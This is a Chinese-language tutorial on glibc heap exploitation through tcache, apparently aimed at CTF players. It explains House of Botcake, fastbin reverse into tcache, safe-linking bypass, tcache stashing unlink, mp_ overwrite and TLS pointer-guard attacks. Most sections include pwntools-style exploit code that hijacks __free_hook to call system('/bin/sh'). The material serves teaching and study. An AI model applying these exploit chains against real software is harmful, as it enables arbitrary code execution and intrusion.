堆攻击tcache常见利用手法总结
字数 1552 2025-08-20 18:17:41
Tcache攻击手法全面解析
House of Botcake
核心原理
- 构造一个chunk同时存在于unsorted bin和tcache中
- 通过unsorted bin修改该chunk的next值为
__free_hook - 使得tcache结构变为:
chunk -> __free_hook - 通过两次malloc实现任意地址写
利用条件
- 需要有UAF漏洞
- chunk list不被清空即可,mark标记影响不大
典型利用步骤
- 填充tcache bin链表
- 将一个chunkA free到unsorted bin中
- 将chunkA的prev chunk(chunkB) free掉,使A、B合并
- 申请一个chunk在tcache bin中给chunkA留下空间
- 再次free chunkA,使其既在unsorted bin又在tcache中
- 通过unsorted bin修改chunkA的fd指针指向
__free_hook - 两次malloc实现任意地址写
示例代码
# 填充tcache
for i in range(7):
add(i, 0x80, 'a')
add(7, 0x80, 'a')
add(8, 0x80, 'a')
add(9, 0x20, 'b')
# 清空tcache
for i in range(7):
delete(i)
delete(8)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ecbe0
__free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
# 触发unlink
delete(7)
add(10, 0x80, 'a')
# 再次free使chunk同时在unsorted bin和tcache中
delete(8)
# tcache poison攻击
payload = 'a'*0x80 + p64(0) + p64(0x91) + p64(__free_hook)
add(11, 0xa0, payload)
add(12, 0x80, '/bin/sh\x00')
add(13, 0x80, p64(system_addr))
delete(12)
Fastbin Reverse into Tcache
低版本(libc 2.27-2.31)
- 填满tcache
- 放7个chunk进fastbin
- 将第一个放进fastbin的chunk的fd改成目标地址
- 清空tcache
- 申请一个fastbin出来,将target链入tcache头部
高版本(libc 2.32+)
- 对tcache和fastbin的fd指针进行加密
- 加密方式:
当前chunk地址>>12与fd值异或 - 需要先计算目标地址与
地址>>12的异或值
示例代码
# 修改tcache count
add(0)
add(1)
free(0)
free(1)
heap = heapbase + 0x10
edit(1, p64(xor^heap))
add(0)
add(0)
edit(0, p64(0))
# 填充fastbin
add(1) # change fd
add(2) # full fastbin
free(1)
edit(0, p64(2))
edit(1, p64(xor^heapbase+0x90))
add(1)
add(1)
# 填满tcache
for i in range(7):
edit(0, p64(0))
add(2)
edit(0, p64(i))
free(2)
edit(0, p64(0))
add(2)
edit(0, p64(7))
free(2)
edit(2, p64(xor^(io_list_all+0x70)))
# 用tcache中的chunk填满fastbin
for i in range(6):
add(2)
edit(0, p64(7))
free(2)
edit(0, p64(6-i))
edit(0, p64(0))
edit(1, p64(io_list_all>>12))
# 触发fastbin reverse into tcache
add(2)
Decrypt Safe Unlink
libc 2.32+变化
- 增加了对next域的限制
- 需要稍作修改才能利用
示例代码
add(0x60, 'a'*0x10) #0
add(0x60, 'b'*0x10) #1
delete(0)
show(0)
heap_base = u64(p.recv(5).ljust(8, b'\x00'))<<12
add(0x60, 'b') #2
delete(1) # tcache 0x70: 0=2->1
delete(0)
# 填充tcache
for i in range(3, 11):
add(0x80, 's')
add(0x10, 'prevent chunk')
for i in range(3, 11):
delete(i)
show(10)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1e3c00
free_hook = libc_base + libc.symbols['__free_hook']
sys_addr = libc_base + libc.symbols['system']
value = ((heap_base + 0x2a0)>>12) ^ free_hook
edit(2, p64(value))
add(0x60, '/bin/sh\x00')
add(0x60, p64(sys_addr))
delete(12)
Tcache Stashing Unlink Attack
核心原理
- 获得任意地址target_addr的控制权
- 在任意地址target_addr写入大数值
利用条件
- 需要UAF漏洞
- 主要适用于只有calloc并且可以分配tcache大小的chunk的情况
典型利用步骤
- 让tcache中有6个目标大小的chunk
- 通过切割unsorted bin来得到smallbin的堆块
- 控制smallbin的bk指针
- 触发tcache stashing unlink attack
示例代码
# 让tcache中有6个0xb0的chunk
for i in range(6):
calloc(0xa0)
free(i)
# 通过切割unsorted bin来得到smallbin的堆块
calloc(0x4b0) #9
calloc(0xb0) #10
free(9) # 此时smallbin有1个0xb0的chunk
calloc(0x400)
calloc(0x4b0) #11
calloc(0xb0) #12
free(11) # 此时smallbin有2个0xb0的chunk
calloc(0x400) #13
# 修改smallbin的bk指针
edit(11, b'\x00'*0x400 + p64(prev_size) + p64(size) + p64(heapbase+0xb00) + p64(target_addr-0x10))
# 触发tcache stashing unlink attack
calloc(0xa0)
修改mp_结构体
核心原理
- 修改
mp_.tcache_bins值让tcache中的bin数变多 - 使largebin进入tcache
- 通过修改tcache的entries实现任意地址写
典型利用步骤
- 泄露libc基址和heap基址
- 计算
mp_.tcache_bins地址 - 通过largebin attack修改
mp_.tcache_bins - 修改tcache的entries指向目标地址
- malloc获取目标地址的控制权
示例代码
# 泄露libcbase
add(1, 0x500)
add(2, 0x600)
add(3, 0x700)
delete(1)
delete(3)
add(4, 0x700)
show(1)
out = u64(p.recv(6).ljust(8, b"\x00"))
libcbase = out - libc.sym['__malloc_hook'] - 1168 - 0x10
free_hook = base + libc.sym['__free_hook']
system = base + libc.sym['system']
# largebin attack修改mp_.tcache_bins
mp_offset = 0x1e3280
mp_ = libcbase + mp_offset
target = mp_ + 0x50
add(15, 0x500) # take out 1
add(5, 0x700) # chunk1
add(6, 0x500)
add(7, 0x6f0) # chunk2
add(8, 0x500)
delete(5)
add(9, 0x900)
show(5)
fd = u64(p.recv(6).ljust(8, b"\x00"))
edit(5, p64(fd)*2 + p64(0) + p64(target-0x20))
delete(7)
add(10, 0x900)
# 修改tcache entries
edit(1, p64(0)*13 + p64(free_hook))
add(3, 0x500)
edit(3, p64(system))
edit(6, b'/bin/sh\x00')
delete(6)
TLS相关攻击
修改线程tcache变量
- TLS区域有一个线程变量tcache
- 可以用largebin attack修改tcache变量控制tcache分配
- 指向的位置是heapbase+0x10,即tcache_perthread_struct结构从counts开始的地方
pointer guard加密
- 加密方式:
rol(ptr ^ pointer_guard, 0x11, 64) - 解密方式:
ror(enc, 0x11, 64) ^ pointer_guard - 加密使用的key来自
fs:[offsetof(tcbhead_t, pointer_guard)]
远程爆破TLS
- 当ld.so距离libc基址的位置不确定时
- 爆破偏移值的末四位和第五位数(末三位不变)
- 示例爆破模板:
for x in range(0x10):
for y in range(0x10):
try:
libc_base = 0x1234
offset = 0x6 << 20
offset += x << 16
offset += y << 12
ld_base = libc_base + offset
log.success("try offset:\t" + hex(offset))
# your code
sh.interactive()
except EOFError:
sh.close()